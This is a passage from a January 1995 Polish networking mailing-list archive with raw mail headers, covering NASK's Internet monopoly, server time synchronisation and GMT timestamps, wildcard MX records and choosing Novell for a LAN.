podlaczania wszystkich. I pewnie mialby ochote, zeby sie konkurencja : znalazla, bo wtedy moglby zawsze powiedziec - nie podoba sie - to idzcie do : innego. : Jarek. Nazwa rzeczywiscie ...bardzo ladna;-) Ale .... Tylko Nask przydziela w Polsce numery IP. Wyscie na swiat jest tylko przez NASK. W momencie powstania innej sieci szkiletowej innego operatora, nie bedzie mogl odmowic dolaczenia jej do swojej sieci. (sytuacja hipopetyczna po wprowadzeniu w zycie ustawy o lacznosci) zrob finger @sam.nask.com.pl. wiec nie ma co udawac, ze w tej chwili to tylko sieci akademickie. Sam chcialbym aby Nask nie byl jedynym operatorem i dostawca IP. Bedzie ustawa, beda inne firmy dajace dostep do Internetu. Chyba, ze w ustawie napiszemy, ze jest juz taka instytucja wiec innych nie potrzebujemy ;-) I nie zapomne pomyslu utrudniania dostepu do internetu, bo Nask wie lepiej co jest komu potrzebne. A i ruch w sieci bedzie wtedy mniejszy. pozdrowienia :-) piotr pogorzelski From kokowski@CS.PUT.Poznan.PL Tue Jan 17 10:05:27 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04350; Tue, 17 Jan 95 10:03:26 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA03688; Tue, 17 Jan 95 10:06:53 +0100 Subject: Re: Ustawianie czasu To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 09:53:05 +0100 (CEU) From: Tomasz Kokowski In-Reply-To: <9501160444.AA57034@acs7.acs.ucalgary.ca> from "Witold Owoc" at Jan 16, 95 05:47:16 am Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 757 Message-Id: <9501170953.aa03961@wega.ics.tup.edu.pl> > W srodowisku NFS gdy kilka osob pracuje nad tym samym > projektem utrzymanie zgodnego czasu jest bardzo istotne. > 'make' moze dac rezultaty odmienne od zadanych lub > wogole nie dzialac. > A jesli chodzi o znalezienie komputerow z dokladnym czasem > na sieci w Polsce, to na pewno wszyscy astronomowie maja > swoje komputery ustawione wlasciwie - starczy zadzwonic do > najblizszego obserwatorium. Dla np. Poznania najblizszym > obserwatorium ze 'sluzba czasu' jest Astronomiczne > Obserwatorium Szerokosciowe PAN-u w Borowcu k. Kornika. > Poznan bedzie mial takowy sygnal czasu z Borowca. Sygnal bedzie synchronizowal czas na serwerach sieci miejskiej i innych w sieciach lokalnych. Tomasz Kokowski From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 11:01:46 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06381; Tue, 17 Jan 95 11:01:38 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA06843 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 10:51:55 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 09:47:53 GMT From: jasiu@PROBLEM_WITH_INEWS_DOMAIN_FILE (Jasiu Barczynski) Message-Id: <3fg3o9$87j@sunrise.pg.gda.pl> Organization: Politechnika Gdanska Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Re: to MX or not to MX i jak? Jestem za, a nawet przeciw... MX na *.domena + SVR4.2 mail + komputer w .domena wysylajacy poczte na nieistniejacego hosta (najlepiej gdy jeszcze definiuje "smarterhost" ten sam, co rekord MX) tworzy mieszanke piorunujaca. DNS resolver dopisuje nazwe domeny do nieistniejacego hosta, znajduje MX i pokornie wysyla do niego bzdeta. SVR4.2 mail jest jeszcze o tyle lepszy, ze w analogicznej sytuacji sie zapetla i tworzy naglowek idacy w megabajty: az do zapchania dysku... Mialem MX na *.domena, juz go nie mam... Jasiu Barczynski From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 12:41:47 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08479; Tue, 17 Jan 95 12:41:38 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA08742 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 12:32:00 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 11:20:45 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3fg96d$7td@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3f5frm$dil@galaxy.uci.agh.edu.pl>, <3fe1a0$mkv@sun1000.ci.pwr.wroc.pl>, <3ffv6m$862@galaxy.uci.agh.edu.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote: : Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote: : : : : > : : : Co wiecej Nask to tylko uslugodawca, place i wymagam. : : : I odmowic uslugi bez powodu tez chyba nie moze, (jak i podlaczenia do : : : sieci innego operatora). : : Hm... Jak sama nazwa wskazuje, NASK (Naukowo-Akademicka..) raczej nie sluzy : : do podlaczania wszystkich. I pewnie mialby ochote, zeby sie konkurencja : : znalazla, bo wtedy moglby zawsze powiedziec - nie podoba sie - to idzcie do : : innego. : Nazwa rzeczywiscie ...bardzo ladna;-) : Ale .... : Tylko Nask przydziela w Polsce numery IP. : Wyscie na swiat jest tylko przez NASK. Oczywiscie, bo NASK jest pierwszy, i jak na razie jedyny. Czy NASK ma gdzies zagwarantowany/obiecany monopol na lacza zagraniczne? : W momencie powstania innej sieci szkiletowej : innego operatora, nie bedzie mogl odmowic : dolaczenia jej do swojej sieci. (sytuacja hipopetyczna : po wprowadzeniu w zycie ustawy o lacznosci) Hm... Nie znam odpowiednich przepisow, ale nie podejrzewam, aby tam sie taki zapis znalazl ('NASK (czy dowolny operator) NIE MOZE odmowic podlaczenia do sieci'). Dalej zostaje sprawa kosztow takiego dolaczenia, Nask moze sobie tyle policzyc, ze sie niektorym odechce. : zrob finger @sam.nask.com.pl. Zrobilem, i nie widze nic ciekawego/podejrzanego. : wiec nie ma co udawac, ze w tej chwili to tylko sieci akademickie. : Sam chcialbym aby Nask nie byl jedynym operatorem i dostawca IP. : Bedzie ustawa, beda inne firmy dajace dostep do Internetu. : Chyba, ze w ustawie napiszemy, ze jest juz taka instytucja : wiec innych nie potrzebujemy ;-) : I nie zapomne pomyslu utrudniania dostepu do internetu, bo : Nask wie lepiej co jest komu potrzebne. A i ruch w sieci : bedzie wtedy mniejszy. Mowiac szczerze, to ja troche NASK rozumiem. Jak sie jest instytucja panstwowa, powolana w okreslonym celu, to wykraczanie poza ten cel jest niebezpieczne. Podlaczanie instytucji prywatnych jest ryzykowne, a niepodlaczanie ich tez. Wiec najlepiej je 'zniechecic'. I nadal najlepszym wyjsciem bylby drugi 'provider' ktory zdjal by z NASK ciezar monopolu. Jarek. From krzysio@hebe.umcs.lublin.pl Tue Jan 17 13:05:09 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09301; Tue, 17 Jan 95 13:01:49 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id MAA05852 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 12:04:24 GMT From: Krzysztof Mlynarski Message-Id: <199501171204.MAA05852@hebe.umcs.lublin.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 13:04:23 +0100 (MET) In-Reply-To: <3fg96d$7td@sun1000.ci.pwr.wroc.pl> from "Jarek Lis" at Jan 17, 95 12:46:39 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 3127 Jarek Lis wrote: > > : Nazwa rzeczywiscie ...bardzo ladna;-) > : Ale .... > : Tylko Nask przydziela w Polsce numery IP. > : Wyscie na swiat jest tylko przez NASK. > Oczywiscie, bo NASK jest pierwszy, i jak na razie jedyny. Czy NASK > ma gdzies zagwarantowany/obiecany monopol na lacza zagraniczne? Na razie, od wielu lat ma faktyczny monopol. Co wiecej dosc starannie sie bronil, gdy chciano ten monopol zlamac poprzez np. zainstalowanie niezaleznego lacza z Krakowa do Austrii. Slyszalem kiedys o takiej wlasnie inicjatywie. > : W momencie powstania innej sieci szkiletowej > : innego operatora, nie bedzie mogl odmowic > : dolaczenia jej do swojej sieci. (sytuacja hipopetyczna > : po wprowadzeniu w zycie ustawy o lacznosci) > Hm... Nie znam odpowiednich przepisow, ale nie podejrzewam, aby tam sie > taki zapis znalazl ('NASK (czy dowolny operator) NIE MOZE odmowic > podlaczenia do sieci'). Dalej zostaje sprawa kosztow takiego dolaczenia, > Nask moze sobie tyle policzyc, ze sie niektorym odechce. Wlasnie. A to sie nazywa fachowo: "praktykami monopolistycznymi". Swoja droga jest tez ustawa traktujaca o tym. :) > : zrob finger @sam.nask.com.pl. > Zrobilem, i nie widze nic ciekawego/podejrzanego. Wiekszosc uzytkownikow tej maszyny, to uzytkownicy komercyjni nie majacy nic wspolnego z sieciami akademickimi. > : wiec nie ma co udawac, ze w tej chwili to tylko sieci akademickie. > : Sam chcialbym aby Nask nie byl jedynym operatorem i dostawca IP. > : Bedzie ustawa, beda inne firmy dajace dostep do Internetu. > : Chyba, ze w ustawie napiszemy, ze jest juz taka instytucja > : wiec innych nie potrzebujemy ;-) > : I nie zapomne pomyslu utrudniania dostepu do internetu, bo > : Nask wie lepiej co jest komu potrzebne. A i ruch w sieci > : bedzie wtedy mniejszy. > Mowiac szczerze, to ja troche NASK rozumiem. Jak sie jest instytucja > panstwowa, powolana w okreslonym celu, to wykraczanie poza ten cel > jest niebezpieczne. Wlasnie.. i w ramach tego celu swiadczy sie komercyjne uslugi za bardzo wysokie ceny (srednio 10x wyzsze niz w innych krajach - byla kiedys na ten temat dluga dyskusja na liscie). > Podlaczanie instytucji prywatnych jest ryzykowne, > a niepodlaczanie ich tez. Wiec najlepiej je 'zniechecic'. > I nadal najlepszym wyjsciem bylby drugi 'provider' ktory zdjal by z NASK > ciezar monopolu. Dokladnie! Najwyzszy czas, aby ktos mial prawo to zrobi i aby to jednak zrobil. Monopol tak czy owak zawsze tworzy bardzo niezdrowa sytuacje. Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 13:41:48 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10347; Tue, 17 Jan 95 13:41:39 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA09862 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 13:27:34 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 12:18:24 GMT From: artur@thp2.if.uj.edu.pl (Artur Pioro) Message-Id: Organization: Physics Department of Jagiellonian University, Cracow, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501151839.AA00044@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu >>>>> "Krzysztof"==Krzysztof Mlynarski writes: Krzysztof> Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden Krzysztof> system w sieci korzystajacy z powyzszych??? (Ma sie Krzysztof> rozumiec z wyjatkiem punktu: "2) zeby uniknac potem szoku Krzysztof> ze poczta doszla przed wyslaniem.." Ostatnio pojawil sie dobitny przyklad potrzeby synchronizacji czasu na naszej wlasnej liscie, tyle ze w watku 'MX'. Gdy sporo osob pisze uzywajac klientow, ktore nie dolaczaja naglowka 'References' umozliwiajacego `watkowanie', a na dodatek Polip jest czasciowo lista, a czesciowo newsgroupa (co moze byc dodatowym poowodem zaburzania kolejnosci nadchodzenia artykulow), to chyba najlepszym sposobem zorientowania sie w przebiegu dyskusji jest sortowanie artykulow wedlug ich czasu nadania... Ale co poczac, kiedy np. posting Rafala (<3feenm$t3n@Waldemar.mat.uni.torun.pl>) na temat `to MX or not to MX i jak?' jest datowany jako '16 Jan 1995 18:43:02 GMT', a odpowiedz Jarka (<1A3767634D@inf.wsp.krakow.pl>) ma date '16 Jan 95 17:15:15 GMT'? Czyzby ktos nie zmienil czasu letniego na zimowy? Grrrrrr.... Moze by tak synchronizacje czasu w Polsce dolaczyc do 'listy aktualnych problemow' Macka i na dodatek ten problem z marszu rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce jakis server czasu... -- Artur From krzysio@hebe.umcs.lublin.pl Tue Jan 17 13:56:48 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11073; Tue, 17 Jan 95 13:53:13 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id MAA06080 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 12:55:46 GMT From: Krzysztof Mlynarski Message-Id: <199501171255.MAA06080@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 13:55:46 +0100 (MET) In-Reply-To: from "Artur Pioro" at Jan 17, 95 01:45:47 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2148 Artur Pioro wrote: > > >>>>> "Krzysztof"==Krzysztof Mlynarski writes: > Krzysztof> Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden > Krzysztof> system w sieci korzystajacy z powyzszych??? (Ma sie > Krzysztof> rozumiec z wyjatkiem punktu: "2) zeby uniknac potem szoku > Krzysztof> ze poczta doszla przed wyslaniem.." > [...] > zorientowania sie w przebiegu dyskusji jest sortowanie artykulow > wedlug ich czasu nadania... Ale co poczac, kiedy np. posting Rafala > (<3feenm$t3n@Waldemar.mat.uni.torun.pl>) na temat `to MX or not to MX > i jak?' jest datowany jako '16 Jan 1995 18:43:02 GMT', a odpowiedz > Jarka (<1A3767634D@inf.wsp.krakow.pl>) ma date '16 Jan 95 17:15:15 > GMT'? Czyzby ktos nie zmienil czasu letniego na zimowy? Grrrrrr.... Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to jest MET..., ale moze ja za lame jestem? :) > Moze by tak synchronizacje czasu w Polsce dolaczyc do 'listy > aktualnych problemow' Macka i na dodatek ten problem z marszu > rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce > jakis server czasu... > Ktos pisal o taki serverze dla Poznania. Sek w tym, ze niektore lacza w Polsce sa nadal b. wolne i niestety przydaly by sie lokalne servery w roznych czesciach Kraju. Oprocz tego nadal pozostaje problem zobligowania administratorow kolejnych maszyn do prawidlowego skonfigurowania strefy czasowej oraz zainteresowania sie wogole samym tematem daty i czasu systemowego. Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 14:24:40 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12036; Tue, 17 Jan 95 14:23:44 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA10684 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 14:17:38 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 12:53:03 GMT From: marcin@pk-siec.oeto.pk.edu.pl (Marcin Klimowski) Message-Id: <3fgejf$ptd@galaxy.uci.agh.edu.pl> Organization: Cracow University of Technology Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501151839.AA00044@hebe.umcs.lublin.pl>, Subject: Re: Ustawianie czasu Artur Pioro (artur@thp2.if.uj.edu.pl) wrote: : >>>>> "Krzysztof"==Krzysztof Mlynarski writes: : Krzysztof> Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden : Krzysztof> system w sieci korzystajacy z powyzszych??? (Ma sie : Krzysztof> rozumiec z wyjatkiem punktu: "2) zeby uniknac potem szoku : Krzysztof> ze poczta doszla przed wyslaniem.." wlasnie dostalem 5 listow, w tym jeden ze MIT, jeden z jakiejs maszyny u mnie na uczelni, i reszta z jeszcze jakiejs innej- wszystkie mialy bezsensowne daty..... : rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce : jakis server czasu... a ten kolo poznania, moze jest cos takiego centralniej ?? Marcin;) -- ------------------------------------------------------------------------------ Marcin Klimowski | e-mail - marcin@oeto.pk.edu.pl | IRCNICK - Cinek WWW home page - http://www.pk.edu.pl/~marcin - still under construction...... ------------------------------------------------------------------------------ YOUR bus ALWAYS ARRIVES LATER :( From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 14:24:55 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12039; Tue, 17 Jan 95 14:23:49 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA10685 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 14:17:38 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 13:05:57 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3fgfbl$p3d@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3fe1a0$mkv@sun1000.ci.pwr.wroc.pl>, <3ffv6m$862@galaxy.uci.agh.edu.pl>, <3fg96d$7td@sun1000.ci.pwr.wroc.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote: > piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote: > : Tylko Nask przydziela w Polsce numery IP. > : Wyscie na swiat jest tylko przez NASK. > Oczywiscie, bo NASK jest pierwszy, i jak na razie jedyny. Czy NASK > ma gdzies zagwarantowany/obiecany monopol na lacza zagraniczne? Jezeli dobrze rozumiem ustawodawstwo (nie bede sie upieral, ze rozumiem, bo nikt nie rozumie, z ministerstwem na czele) to zezwolen na lacza zagraniczne sie nie udziela wcale - czyli moze je miec tylko TP SA. Za to moze dzierzawic - chyba wszystkim? > : W momencie powstania innej sieci szkiletowej > : innego operatora, nie bedzie mogl odmowic > : dolaczenia jej do swojej sieci. (sytuacja hipopetyczna > : po wprowadzeniu w zycie ustawy o lacznosci) > Hm... Nie znam odpowiednich przepisow, ale nie podejrzewam, aby tam sie > taki zapis znalazl ('NASK (czy dowolny operator) NIE MOZE odmowic > podlaczenia do sieci'). Dalej zostaje sprawa kosztow takiego dolaczenia, > Nask moze sobie tyle policzyc, ze sie niektorym odechce. Operator swiadczacy uslugi publiczne nie moze. Ale skad wiadomo czy uslugi danego operatora sa lasnie takie to nie wiem. Byc moze jest to okreslone w uprawnienaich operatorskich. Przy okazji: czy ktos widzial tekst takich uprawnien? R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 15:09:44 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13824; Tue, 17 Jan 95 15:06:32 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA11370 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 14:59:17 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 13:59:35 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3fgig7$iqn@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501171255.MAA06080@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to > jest MET..., ale moze ja za lame jestem? :) --- W naglowkach newsow podawany jest czas GMT, po to wlasnie zeby bylo wiadomo KIEDY zostalo napisane i dotyczy to nawet tych z USA W From RAJ@inf.wsp.krakow.pl Tue Jan 17 15:21:37 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14491; Tue, 17 Jan 95 15:21:20 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id PAA27587 for ; Tue, 17 Jan 1995 15:24:56 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Tue, 17 Jan 95 15:18:39 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Tue, 17 Jan 95 15:18:18 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 15:18:09 GMT+0100 Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <118C6E3349@inf.wsp.krakow.pl> > Date sent: Mon, 16 Jan 95 22:33:29 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: WIENCH@plearn.edu.pl > To: sfrafa@cyf-kr.edu.pl > Subject: Palac Staszica - jaka siec lokalna wybrac? > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > do pogodzenia z jakimkolwiek oprogramowaniem. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > Bede wdzieczny za wszelkie rady. > ???????????? Poczta internetowa przepieknie chodzi na Novellu, oprogramowanie od strony end usera jest niezwykle przyjazne (oczywiscie, troche trudniej z instalacja, ale mysle ze zawsze mozna znalezc kogos kto to zrobi) i do tego freeware. Nie rozumiem tego kogos co ci odradzal Novella. Moze jemu samemu sie nie udalo, albo po prostu nie wiedzial o odpowiednim oprogramowaniu... U nas na Novellu chodzi poczta, ftp serwer i cala masa "client software" na koncowkach: telnet, ftp, gopher, news, irc, talk, finger, Lynx, Mosaic i co tylko kto chce... Nie ma zadnych problemow. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 16:04:48 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16101; Tue, 17 Jan 95 16:03:43 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA12076 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 15:50:57 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 17 Jan 1995 14:45:44 GMT From: lukasz@nask.org.pl (Mirek Luc) Message-Id: <3fgl6o$70q@bilbo.nask.org.pl> Organization: Research And Academic Computer Network Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501171204.MAA05852@hebe.umcs.lublin.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) Jeden komentarz natury technicznej: [...] : Na razie, od wielu lat ma faktyczny monopol. Co wiecej dosc starannie : sie bronil, gdy chciano ten monopol zlamac poprzez np. zainstalowanie : niezaleznego lacza z Krakowa do Austrii. Slyszalem kiedys o takiej : wlasnie inicjatywie. Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego, dluzszego (drozszego) lacza w swiat? [...] : Pozdrawiam, : -Krzysio : -- Pozdrawiam -Lukasz [...] (sig deleted) From krzysio@hebe.umcs.lublin.pl Tue Jan 17 16:05:53 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16154; Tue, 17 Jan 95 16:04:48 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id PAA06781 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 15:05:51 GMT From: Krzysztof Mlynarski Message-Id: <199501171505.PAA06781@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 16:05:50 +0100 (MET) In-Reply-To: <3fgig7$iqn@sun1000.ci.pwr.wroc.pl> from "Wojciech Myszka" at Jan 17, 95 04:00:34 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1254 Wojciech Myszka wrote: > > Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > > > Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to > > jest MET..., ale moze ja za lame jestem? :) > > --- > W naglowkach newsow podawany jest czas GMT, po to wlasnie zeby bylo > wiadomo KIEDY zostalo napisane i dotyczy to nawet tych z USA Wlasnie... i aby z tego w pelni korzystac wszyscy musieliby pisac na Polip'a via newsy. Wielu jednak ludzi pisze korzystajac z e-mail'a (jako i ja teraz czynie ;-)). Tak wiec tak czy tak, trzeba bedzie rozwiazac problem konwersji czasow. Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From piskozub@ocean.iopan.gda.pl Tue Jan 17 16:39:48 1995 Received: from ocean.iopan.gda.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17938; Tue, 17 Jan 95 16:38:27 +0100 Received: by ocean.iopan.gda.pl (5.65/25-eef) id AA09733; Tue, 17 Jan 95 16:39:10 +0100 Return-Path: From: Jacek Piskozub Message-Id: <9501171539.AA09733@ocean.iopan.gda.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 16:39:09 +0100 (Poland) In-Reply-To: <3fgl6o$70q@bilbo.nask.org.pl> from "Mirek Luc" at Jan 17, 95 04:34:07 pm X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 364 > > Lacza miedzynarodwe prowadza przez Warszawe, a placi sie za dlugosc faktyczna, > a nie odleglosc w linii prostej. Chyba nie ma wiec sensu robic drugiego, > dluzszego (drozszego) lacza w swiat? > Glowne nasze lacze na swiat to linia satelitarna 2Mbps do Szwecji. Czy naprawde placimy za okolo 2 razy 36000 km ? :-)))) Jacek Piskozub piskozub@iopan.gda.pl From krawczyk@kme.agh.edu.pl Tue Jan 17 16:54:48 1995 Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18900; Tue, 17 Jan 95 16:52:26 +0100 Return-Path: Received: by kme.agh.edu.pl (4.1/SMI-4.1) id AA04288; Tue, 17 Jan 95 16:49:47 +0100 From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Message-Id: <9501171549.AA04288@kme.agh.edu.pl> Subject: Re: Ustawianie czasu To: polip@zsku.p.lodz.pl Date: Tue, 17 Jan 1995 16:49:46 +0100 (MET) In-Reply-To: <3fgejf$ptd@galaxy.uci.agh.edu.pl> from "Marcin Klimowski" at Jan 17, 95 02:47:21 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2020 Marcin Klimowski pisze: > > wlasnie dostalem 5 listow, w tym jeden ze MIT, jeden z 